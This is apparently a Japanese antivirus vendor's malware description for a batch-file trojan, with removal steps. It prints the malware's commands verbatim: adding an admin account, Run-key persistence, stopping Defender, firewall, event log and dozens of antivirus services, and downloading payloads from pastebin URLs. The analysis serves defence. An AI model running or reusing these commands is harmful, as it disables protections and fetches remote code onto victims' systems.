Trojan.BAT.KEKPOP.YXCEST

2022年6月10日

解析者: Nathaniel Gregory Ragasa

別名:

BV:Obfuscated-F [Cryp](AVAST), Trojan.BAT.Agent(IKARUS)

プラットフォーム:

Windows

危険度:

感染確認数:

マルウェアタイプ: トロイの木馬型
破壊活動の有無: なし
暗号化:
感染報告の有無: はい

概要

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

詳細

ファイルサイズ 75,275 bytes

タイプ BAT

メモリ常駐なし

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のファイルを作成します。

%User Profile%\Documents\black.bat

(註：%User Profile%フォルダは、現在ログオンしているユーザのプロファイルフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞" です。)

マルウェアは、以下のプロセスを追加します。

attrib +h +s {Malware Filename}.bat
cmd.exe
%System%\cmd.exe /K black.bat
powershell -command "Set-ExecutionPolicy Unrestricted"
%System%\scrnsave.scr /s
net localgroup administrators session /ADD
%System%\net1 localgroup administrators session /ADD
reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v "rundll32_26556_toolbar" /t "REG_SZ" /d {Malware Filename}.bat /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\.bat /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f
RUNDLL32 USER32.DLL SwapMouseButton
net stop "WinDefend"
taskkill /f /t /im "MSASCui.exe"
net stop "wuauserv"
net stop "security center"
net stop sharedaccess
netsh firewall set opmode mode-disable
net stop "Security Center" /y
net stop "Automatic Updates" /y
net stop "Symantec Core LC" /y
net stop "SAVScan" /y
net stop "norton AntiVirus Firewall Monitor Service" /y
net stop "norton AntiVirus Auto-Protect Service" /y
net stop "norton AntiVirus Auto Protect Service" /y
net stop "McAfee Spamkiller Server" /y
net stop "McAfee Personal Firewall Service" /y
net stop "McAfee SecurityCenter Update Manager" /y
net stop "Symantec SPBBCSvc" /y
net stop "Ahnlab Task Scheduler" /y
net stop navapsvc /y
net stop "Sygate Personal Firewall Pro" /y
net stop vrmonsvc /y
net stop MonSvcNT /y
net stop SAVScan /y
net stop NProtectService /y
net stop ccSetMGR /y
net stop ccEvtMGR /y
net stop srservice /y
net stop "Symantec Network Drivers Service" /y
net stop "norton Unerase Protection" /y
net stop MskService /y
net stop MpfService /y
net stop mcupdmgr.exe /y
net stop "McAfeeAntiSpyware" /y
net stop helpsvc /y
net stop ERSvc /y
net stop "*norton*" /y
net stop "*Symantec*" /y
net stop "*McAfee*" /y
net stop ccPwdSvc /y
net stop "Serv-U" /y
net stop "norton AntiVirus Client" /y
net stop "Symantec AntiVirus Client" /y
net stop "norton AntiVirus Server" /y
net stop "NAV Alert" /y
net stop "Nav Auto-Protect" /y
net stop "McShield" /y
net stop "DefWatch" /y
net stop eventlog /y
net stop InoRPC /y
net stop InoRT /y
net stop InoTask /y
net stop "norton AntiVirus Corporate Edition" /y
net stop "ViRobot Professional Monitoring" /y
net stop "PC-cillin Personal Firewall" /y
net stop "Trend Micro Proxy Service" /y
net stop "Trend NT Realtime Service" /y
net stop "McAfee.com McShield" /y
net stop "McAfee.com VirusScan Online Realtime Engine" /y
net stop "SyGateService" /y
net stop "Sophos Anti-Virus" /y
net stop "Sophos Anti-Virus Network" /y
net stop "eTrust Antivirus Job Server" /y
net stop "eTrust Antivirus Realtime Server" /y
net stop "eTrust Antivirus RPC Server" /y
net stop netsvcs
%System%\net1 stop netsvcs
net stop spoolnt
%System%\net1 stop spoolnt
tskill iexplore
tskill msnmsgr
tskill excel
tskill iTunes
tskill calc
tskill msaccess
tskill safari
tskill mspaint
tskill outlook
tskill WINWORD
powershell -Command "Invoke-WebRequest https://pastebin.com/raw/4BDAd47i -outfile cynlog.cmd"
powershell -Command "Invoke-WebRequest https://pastebin.com/raw/Ug8uFJ4Y -outfile "
%System%\WScript.exe "%User Profile%\loveletter.vbs" → Detected as Worm.VBS.MASSMAIL.YXCEST
%System%\WScript.exe "%User Profile%\mail.vbs" → Detected as Worm.VBS.MASSMAIL.YXCEST
powershell -Command "Invoke-WebRequest https://pastebin.com/raw/Qt3ADbcj -outfile YcynNote.txt"
xcopy /e /y {Malware Filename}.bat D:\
xcopy /e /y {Malware Filename}.bat E:\
xcopy /e /y {Malware Filename}.bat F:\
xcopy /e /y {Malware Filename}.bat G:\
xcopy /e /y {Malware Filename}.bat H:\
xcopy /e /y {Malware Filename}.bat %User Profile%

自動実行方法

マルウェアは、自身のコピーがWindows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
rundll32_26556_toolbar = {Malware Filename}.bat

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
AVAADA = %Windows%\.bat

対応方法

対応検索エンジン: 9.800

初回 VSAPI パターンバージョン 17.618.04

初回 VSAPI パターンリリース日 2022年6月10日

VSAPI OPR パターンバージョン 17.619.00

VSAPI OPR パターンリリース日 2022年6月11日

手順 1

Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム（OS）の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル／フォルダ／レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

このレジストリ値を削除します。

[ 詳細 ]

警告：レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。

In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- rundll32_26556_toolbar = {Malware Filename}.bat
In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- AVAADA = %Windows%\.bat

手順 4

以下のファイルを検索し削除します。

[ 詳細 ]

コンポーネントファイルが隠しファイル属性に設定されている場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。

%User Profile%\Documents\black.bat

手順 5

最新のバージョン（エンジン、パターンファイル）を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Trojan.BAT.KEKPOP.YXCEST」と検出したファイルはすべて削除してください。検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。

ご利用はいかがでしたか？　アンケートにご協力ください